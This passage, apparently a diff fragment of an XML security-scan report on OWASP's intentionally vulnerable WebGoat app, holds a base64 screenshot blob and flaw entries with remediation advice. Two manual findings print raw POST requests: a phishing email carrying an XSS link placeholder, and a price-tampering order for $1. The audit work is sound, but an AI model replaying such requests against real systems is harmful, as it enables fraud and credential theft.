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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
